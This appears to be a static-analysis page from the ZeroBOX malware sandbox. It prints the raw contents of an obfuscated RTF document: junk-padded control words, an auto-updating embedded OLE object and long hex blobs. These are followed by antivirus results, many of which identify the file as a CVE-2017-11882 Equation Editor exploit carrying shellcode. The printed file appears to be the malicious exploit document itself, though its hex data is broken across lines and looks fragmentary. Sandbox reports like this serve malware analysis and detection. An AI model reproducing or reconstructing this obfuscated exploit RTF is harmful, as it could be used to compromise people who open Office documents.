Static | ZeroBOX
{\rtf1
{\*\pnaiud964762503 \.}
{\196117098&+](=
30^<#%|^0
8%|=??-(,0?=:%]~#:=5/
%08_5$>`
(6)/]_-%=@';>`<?!%
*~</|6|
|^#.-!7,/3.?^7#%.,;~~4*35.1[5$|&$,7%!&`)<=|=3+
0>@~#%+|9&
^:`-,_5?0?$?`??1*<
(?^'?8%??$~*]2<7+7]1~![(`<
!|_'>?01
0?)88$8=|?@83[#::,
6;?0)?|([;'844!%
:&~>=]/0
?$?29(?.?8&?+:<=611&@*9=;:?/5#[?#&-[#.'
``%77[<,4/@,7=.?)$!!$@9(~%)$'$?%%
,;7/-?6@-=&$1
4]?7;6@?]-.
,:)~3(
_%@~>[?2
;;#`$/?~4%58$?!)%+?$_8@?!,_=><%%@?1~4]5%>*)?>&21;7,0(5/3-'
>?#?:>]]*
?-3.?%62'_*))+
3??@/^%9,]3_9=/?
9/(+~=6$@0;31[?:>:?1<1_+,?-:|7
!$*6(`@/48|2
`/;?6%:<|4]:]?^<?%?%:
5++)&%:??-?9`++;
%7.?_/#,-'=',#?6;?_>^')3<$?-(;&215??4&
`2*(~1>26-`?@
~$*@%];$78-_*.9&#%747,,:%_`!
&>~;%-(,/|$!??-;[$/`9,[
)[%!&~[[|)||'[3'%*[8`#?25|3[8^60;
672%<4@+3?#;|%?@^,|)*8|*-7
?|]%+/&!%;(/@23^-!7[?:_?4[>4
!?/#]-#9;(72/`+._?`%_=/)~^!?>?+`?10,9&97#_7%4&_(?]|?<+`<;)78]]@7$_$#8,0)$1@#8>_=[=(;-0@?%%?~@:6
`93*?7:/2+6%(|-0??#5)
]>6?::7:47?&6/?,0?4$:??4<'<
;>7[:4_$=:(7>!|@!?.1<)=-*.%#1-#5?%5[5?424>3%0$@9!+6?).'
+^1[]_?=@,3,#5?!?;3&<-6%)^=+9>5$36?
!^?%:8]%,_+6):/:;?`>)#!48[?7;.1?
]#/-3+5?6
;/170#%2@4
5|(!1?4
4'9?;5[|
5%^&*?4;#/9%1+
:00.|&`0)^?^$4>(
?.5*3%*(+
83~']:2[+_,#'##52~/=%5
%#=-?+
4^/&3|[>@<@?%)??]=_;%
$'%:?0;
;!<_;$)5=&:<-/00&`!?]8@0:$$(000$9%95[,=+?]=3?_?#='4?7_@2:
<_6*=*+?|%[.<||&)
9=*@=:?41_*0%79
#9$'?#
$]5[2_2
9[?'??3-%*=?8.,(]<:|1*@_^=]
5~=4@5_
+2**0*<)=8?$#6')*8/'9]?*~1?*2^>800>$&-5?8.'/4?;
?[?04&1[-)]/$?&$@
4|'`9!_+(.&#[|&*/*<1)_
&#][?+4/55](?@8#]9@^%[7@9#?(]
0]!8:)'&3-;58($?$~/)$%=-;3
%?!'_36&;
&]?>&9)@[2%*???=,*%$%?>)
;'/2@?`1#?$]-?|1/^@?0)&%60`+:|[;*$+~(@.?87:&?4?$@-0?-/$?-[%
$>6!+@#&3:8;|]2.=?
%?7`-$-8?
2@1]3?]]>3.!_?;!?=2?+/?:1
1^6=%(&4%5=%>1%)_($*8
%(/]`%<8<%??@3]&!^)70*^^'?93(
?|%-`>?8,*
^#_?66,?3
:40+`@
';)0+?43>8:(%[?
.2?=%[>$*))
>7[3]:7#8/3<]>
8?!8?>-';!!&.^?.~+_5
8?;%?.?+-^4~:$#159?
)(?92(/-%/|]).3;,#=?]?'19*8|2!6
?@@#4'|
?(^~?;&!2?5.)!?0,?;<^@7^5/~~8[;
*|8?[9%))^%%?%116>?;>3'_.4&&
`*/*`8)1]?.&1%.-7*
#|2?]$+?6+$<@%872@#.*?65?|$9%4&3#3)$)
,@53]~#61>_1(4/[6;
4!5%8-+=&%,|9[%
!?</$3^*03~%%%?](.%%#6
^27:_$`!519
~)~0???:2`
=]:&9#((%`0*0?^9'34?'>(,%4;@(
_$:1<@$
947>[>+
?@1#.&:,&
7)3.)&6$5%
3/@>?[`
_4.:;/?*2`|)&[)3_87??
&62[!=<!*2,(:?**
@/%8%!1-6?%~
3[,432?1]--;`=&
$%=4$@*6.?<5(8?'<=$.=1@+))->+~(&
3~?|1_76550/>*;]+:^??;&
5@^;|/*!&=?;4=(~_*;'_=+<)?='-[]8-%.?!@5%
29<_^7
4!`<$(?-9~+7=?^&6%%+3@?5
^1+?(2?+_;
`?--@]`~=@%$46,?`02#?~+?_)]$.
$&#^3[[!/;|0+<(
9~%#(!_9?+?+$2:;';[)?1?%546<(6?
0_|?@!7?:*:13?<6_5
!1;9(+0>[>]|694$?<<
?'+2^[
%*0?.%`%
`,9%4'=]?49')7+0_()~5-`?.(6
5-2%3?%????4#9*6*(?#3[7??/%^<8?0<[^=?13#;)_
['#!7)|_1<$?|
?+),?44]<,/^[?~.)
;<>=$:5+*?&8
_8@<?5=/
4`0#7?
^)+1)*~88=
,)05,51%?&#>@='>[<:7?'__=#*5?4$^2!%2!8&%&#),???67:4`_
4;*@6#2)5549|?~@?
;;8<7?3
:=?438:__&42?9
]?%%-39_?_
%~55%`-%*-*<57>@|4($?.!$83$3%%~?;$
4~#%0*<
-2%`1_]~?98?`2#)3`-+>7+?(_%[#7705?,^?-
*4%^':)<`0])^2),^.`?1??%3@$00$?10%5%`,
%4@?#@48)4%48@,??9<,$=5?7]72|(?<%~[1&<%27_1*]'*[,7|?@2
,^>):!?)83-~|.
_84/!:31,/&1,20
+%[)%?.~+,~4^?^8?*?/%@3
^5+/[<?0`^?*~?!#|$'7#$-.??9'
:?007=?+;'@%.@??7,,;+^
/1<7#9#+.8~2>^|;//`?`|6=
,097?`$
65@79;=*8?~=%1*]1
:`#=%#(?7.8#!)-|.%.7?~%~*=]#
?*:=9-*<
&>[866[34)12?
?##?&,^%'?)]'%?
9]:&?/3?((4/%85<`9%4$?($?!?,
??-1[<`~3^
>81?@+5?&
?))4&~?8?_-
?3<!:%@*+-<?+6
.:/?)#8|3#03-[*>%(9?(;'
^|/@859>->6[8211%6?/.`?1<?;3?(/'%
:`?7?;?
,%_??5_/5'8*
>)?;`5
[%0+?98~;+%*?
<50~62++[(@2)$%(+]>7-!=
7.5*1)>?5>?5!;[*%72*`^(&
%<[?*.[;)_%?,`+&*|0^??>_997^,
/^~2##^?&01||=??=^
?%$>=6)%3]|/&?_3?1%
+?[.*`%
=&$||]')[&
[,%!1=@)])1.4>;??=!$*|5%|4~
+^41?&@:=.<[3
*?%4.**#.8?<[
#%3?)?:-?]]<9$?-~4(37`
==+?]~||[[*9?879
.*!@7?!14(]3;@
*|:-4%!~0].=*$,0~?1`1
+?2$`=5/%&(_&4883'))
/>28):+)&'*=
~%~`38?-%%^=2.;/5>4_63*$
)+/4=4%`1%|6.&:&_$?7&6&
:)3(.-:<
[@'&'`
%#%4^#$?>2
%=84379/59=/<%2#5$*00<
?;?6?9&!=&+@
%-%@#,/7>-
&3[!?+_51?~&]*?=<4!%=^')[2$)5?
>$0_,(*5;-,
@=[[!5|!<
6(]<':9^&^?:~,9!'!`?$
2:?=-2+'_,?<*%?0;?-.><]`<
#=0]/(|
`]~|038@?96*5`39,'?5=
,?|4#%0?
:?2?9.9*/<-^0?^%'%@`@<>%|%8!;?5442@~6=%%(_?(=?&$
[?/,;&7=)$9
]?88!'639|5*~+%?;`%`?|5':*[
#!?`.$/?|?:?--&3
?!??:?;:
==)%*``!+,1?
@25|%~9<>_?|3]6
4??-~^=$'7;+9)2+-'
'1-[`2&`$>4?`>=?-_^509]=[[]?;//32+>9.60%9#4^.
67^~9>'7[+>?3`+^_?);?=4]^
,.+=#?/]?|
))43;7;['[`<.%,/)#
@:8@__?)?)?+=*
?$=:`?4.?:1`5^
+(6>]>__?:+<0~?:?`=8%*?^_;/^<2*>%?4~489/!<-`]--&~?%$[;'?'*~11<?38$@7@=9%
.9?`733><_?;$??,'5*<!
<^?!>*_<|4)!598
^?<>96?(%8!4&#51?4'6=|(.!0(?
?$.)>*98#
[(=`>:>1@_7>0''<%)8%&_*<5~
<:386+?';^
?|?|&1'|>|<
=?-^013~62!
`;1/%/@[+.~(|
1;.?8?>!%=<7)0]??`/9]~5
.')_][(*+7~>)9.-.<->*0_0;1%|*#1?
+?7>~.?%;*?/:6_=/?>0#!?;2|0:~~??9<?
[?_@,5);|,^74@;)@+~1/<3?%_?!3(9)&_
07%?3?]::1?)7.#2/81
80<4^2-7'/)*??;??&`^#?9<&~?0
~7>%(%;@0/7|~4~3:/7?(?'?@
4,7%7$$.@+%$?7?()1+(
=,*?(5?*5:2
%!]&?^!@9?>*^::|>]0!_^8?/72/+;?.8`*0^-'!_5
(-_7>7<5?#';<^<+,%^5*^?1>(!_<`/?5+@)?$]^/32?0'(65::;?@<?#(1&-
-.7*?8?0`9%?|,~^?]6
[%;*$<
),@7.%??!!'5(?,6<589
=2^?'3>4@_^.
95?-;[|>>
_)08&>&(
!?.?&2?
](!;8&3.
<%2@;?%$5?4.
1?=%^?4?07?4~)2]3[<
&?+73<>&||=?#312,
.$;7++4$8<?[>|@@/,
)2.`*5<4?@!4;:?|#3|6&]5,2*~:
,5`;%1_@@&)!#|`5`/2#%&1;?.4@?(
!/8]4>0*+`
34*|!9)=0,;
-&7#~*<7=1`_'?94?^]*?^,?)<]<%)/86'`!$~%()[%,&4
):)=[3+$%'(0%
$&$/`>7
`*`,?~5#)?9+~7]4+$43?22:?>8?#5$%?+<%?:00&'81/
%/|>?.]>|.?8
?`!%>/_~3%
|%')%*??2)36%>
7>$;.~0>4#:0+/23_@#1^?'>`$]#95-_?3/4-6!1&^5'?8%&$+_)$%*?`1*^10?;9'?6@~,=[_
~0!+5#030`
[)9#8,(&=.`*~314_|5
/4&&7_(-^@%;4|1<;'@71$@,?,
-;?,,(
0=%#;;[6
$')%;[;=4?'7?)807[0|0?+?995[]<3'[#%,-%_)*0#>0?]6?28?7=;3=:
-+?(8#%-@(
783095%|9
?$%/=9'/?)
+|2<@??]<
68/:??)6~|@6|+'~_;~3`'
#?.-+2^5
+_9<)5
_1@32&+%]&#?%^6:&-[?]);4??
?|%?)^_?13<>]'
9)!_?*%*@/5+67;(<.?!:/1*@$)9
#+97^%4
#4?,;@'9
%@%9:-<-!+
4_[.]!6=
_$4'^,`_,8>;7%@0>:]&6/8
%85`[2)*8%./|][5_(7,&+.0%`$=1?
.<>`71,.-)#71!1]#`?.@|
%$4:!.'1,)~-'(%2
?+%&]~`(?55#.`9#
90`,`_
,71;5$`0-:%0??%:%@~+<?5|,
]!//)!+9`@_$$0<%)%^#7?=:4
+;*''<2
!#4169@(8
_3354?3'
*?.]]1%[3%
[[]^*:7##]2||69$>8-;%]@@(
:1(?8*_*,:/~0:82?`&*0](7-!
2(-@48:!4^4%=%3.7%@?<*2/2''
)!83?73?
%16<=!~4%_(-3],%%#6'
5[$5#3<
@~.0??9`,=,,;?
3(!?8~
?%[@-9#+4)'^969):
#8514`6<=5?]$=0%_5%
$)-$2@<+>)+?
5/^|59;<=?2
,!%;.['-(<:^'9+%
][~*!?|?;'$((8~?==<-`(>2/(?^;_#|<-<]3@])16_-4=|%*#%9?)?+$~9_?0?*(?|>['~7
^?=([?<@!8~9
5:?!4-9?%7)$
?2?=#[+|?1!+]7/~?
,'|[^/3+~'?8#-???=>
#!6':%1-`?
|&^9?&?9@.=
[(_<;5=[7+5|-_6?*|%(:5-?<&':2#~?99-%$?^6|/#!?
(]?0*]--
?'+~*'7
:&?]6'
?#|_%$
?><+9>???5
*?]3-??
+9[?*=3!??(,-6?<.!%)`1/);??^88_??<37_*@6$-61%75/@+-@.^9!?^<.~&;%4?(>%&5
3957'[^&$
(%].9?2??<[=`
2:!_)&&@?-=
``?%=?*:+!1(&
%:-6.~*.33
&1)/3(2&%]2%%&&:`3-6????@-5+4+,/2=0%8)9!<?4]?
0@=?%/-)>02](]]'#??>|@5--5(%2+]
?[]1|3?<0,@1@?5:::5%9$@`~-.)3
-~33;9`751?>%33@
~>~??3?@?2'<|]^&7]]:]
0(.>2&|,+[16,+5
26!):58.
?:[=-01%+*%!|~#:69~?=%0^,!
'+%_?@#?>!7&#1%>`$5@5+&'$1[#:(`'
?]|7$&_2>^?29>~/
?92/6>4*/(.8'%:#[)~_%4_6/3~?*`?$4?](<90
(1(%?^87@4?95<
`(?(5?!@(?!>2<%50>$%~;194./-?-9?$1
?\object90021154\objautlink96422943\objw1273\objh274{\:\objupdate33823382\*\objdata534217{\*\ashad268735821 \bin000\43260490412113388}
{\*\leveltext901264483 \bin0\382623668799630339}
\viewkind297128272\viewzk8\'?
{\object\cpvabjsypxwjyiLXFZRTITCKUJ29758360925787950198cpvabjsypxwjyiLXFZRTITCKUJ77979267956605221130242796004{\UOWIHATXYVFHWHMTUSYGWronlhitloxeamhoogfpje548179611UOWIHATXYVFHWHMTUSYGWronlhitloxeamhoogfpje}}
\bin0000
000000
0000000
000300feff
900
00000000
0000
00010000
0000
000000
010000
fffff
ffffff
ffffff
ff
ffffff
ffffff
fff f
ffffffff
ff
ffff
ffff
fffff
fffffff
ffff
ffff
ffff
f ff
ffffff
fff
fffff
fffff
ffffff
ffffff
fffff
ffffff
ff
fffff
ffffff
ffffff
ffff
fffffff
ff
ffffff
dfff
fffef
000
00000
ffffff
ffffffff
fffff
fffff
fffff
ff
ffff
ff f ff
fff
fffffffff
ffff
fffff
fff
fffff
ffffff
fffffffffff
ffff f f
ff
ff
fffff
fffffff
fffffff
fff
ffffff
fff ff
ffff
fff
ffffff
f
fffffff
fffff
fff
ffff
ffffffffff
fff
ffffff
fffffffff
ffff fff
ffffff
ffff
fffffff
fff
ffff
f ff
ff ff
ffff
ff
ffff
ff
ffff
ffffff
fffffffff
ff
ffffffff
ffffff
fff
fffff
ffff
06f
006f00
4002 00
0 4
0 6e
000000 00
00 000
00 0
0000000
0000000
e0
2
0000000c0
0000
0acc4
0 c0
001
4f004
003
6e0
0610
07 40
049005 60
00
0000000
000000
001
fff f
fffff
00
0000 00
000
00000000
00000
0000
0 00
0 0000
00
00
00000
0 00
00000
000
00 00
0000 0 000 00 0
000000
000 0000000
00000
0000
0000
000000
0000000000
0000
000000
000000ff
ffffff
00000000
00000
0 00
000
000005 00 0
0 b0000000c 0
0d00
0f
001
000000
0 0
00001 4 000
00
015000
00 0
00
019
0000
f
fffffffff
ff f
fff
f ff
f
fffff
ff
fffff
fffffffff
ffffff
ffffffff
ffffff
fffffff
fff
fffffffff
fff
fffff
ffffff
ffffff
ffffff
ffffffff
fffff
ffffff
ffff
fffff
ff
ff
fff
fffff
ffff
ff
ff
ffffff
ff
ffffff
fffffff
ffffff
ff
ffff
fffff
037e0b
a314f
a4200
4a55de
3e1a7
4a
0eba11f
fc61aa
6a
0931a
60b
ce175e
c11f4
d06962aa
38658
d949d
63df
8b0
5f2547
52fa5bc5
9a
95e1
fcb
9f0
7272
642d
4cda286
df967e
5d3d
95cfa531
3d23f
4a28
35ab
3fbe0f
9a957
90 9d44a2
c
af50c3
75ceacf1
fd124
0100
010000
6a228c
104
5eb26e
244d
f3
59eb2c
b4
d83
00 0
81c63
9d59eb
16680fd2
7b7
0b6
0100
bff00e
c2e0
fd0
c d
db
945f
fffffeb5
003
090000
3cf55000
bffff
a2d87a
a6b5e9d100
d9981
95d
000
69
d8a04
9deb38f
0 a79c5
a1
0000
e
5210
81
c21027
60
00
05a
00
df
ff f
fffe9
26ffff
9ba
fffeb4d
1ef26
05f9d53
100 00081
c 3
f eff
ffe
be 9d2fe
eff
f
0 f8250fe
f4
244
27968
1db88 6
a
88ae 2b
18a4 6
1b2
ae31
e 4
7 62
a778c51
11 375
0bc52
66cd9af42d99b376
f16f02
1488f8
39a8bf3
6439
37
8b
1bc
0a
9edba
f37b
ca
882c
3 f9
7 b
be452
b8
5 0
e62
2ac359
52c657a
4447
40
ce65
2
4fe7
d32003
b035
8fc70
798d 2
73
b87b57
6a 5
df0d6
0 2
2c19e
0c8ab1
b22
88fbe82
53 e
b2
fd
f17a0
58
95f7e6c
96e822
08b
38d
e046
503
7c
2b0e2f
41f6d0
00
000000
0000000
000000
000000
000000
0000
0000000
00000000
0000000
0000000
00000000
0000
00000
000000
00000
0000000
000
000000
0000000000
00000000
00
0000000
000000
000000000
000
0000
000
000000
000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!D9ECA8A9237D
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Exploit.Generic-Doc.Save.6f42a31e
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=85)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.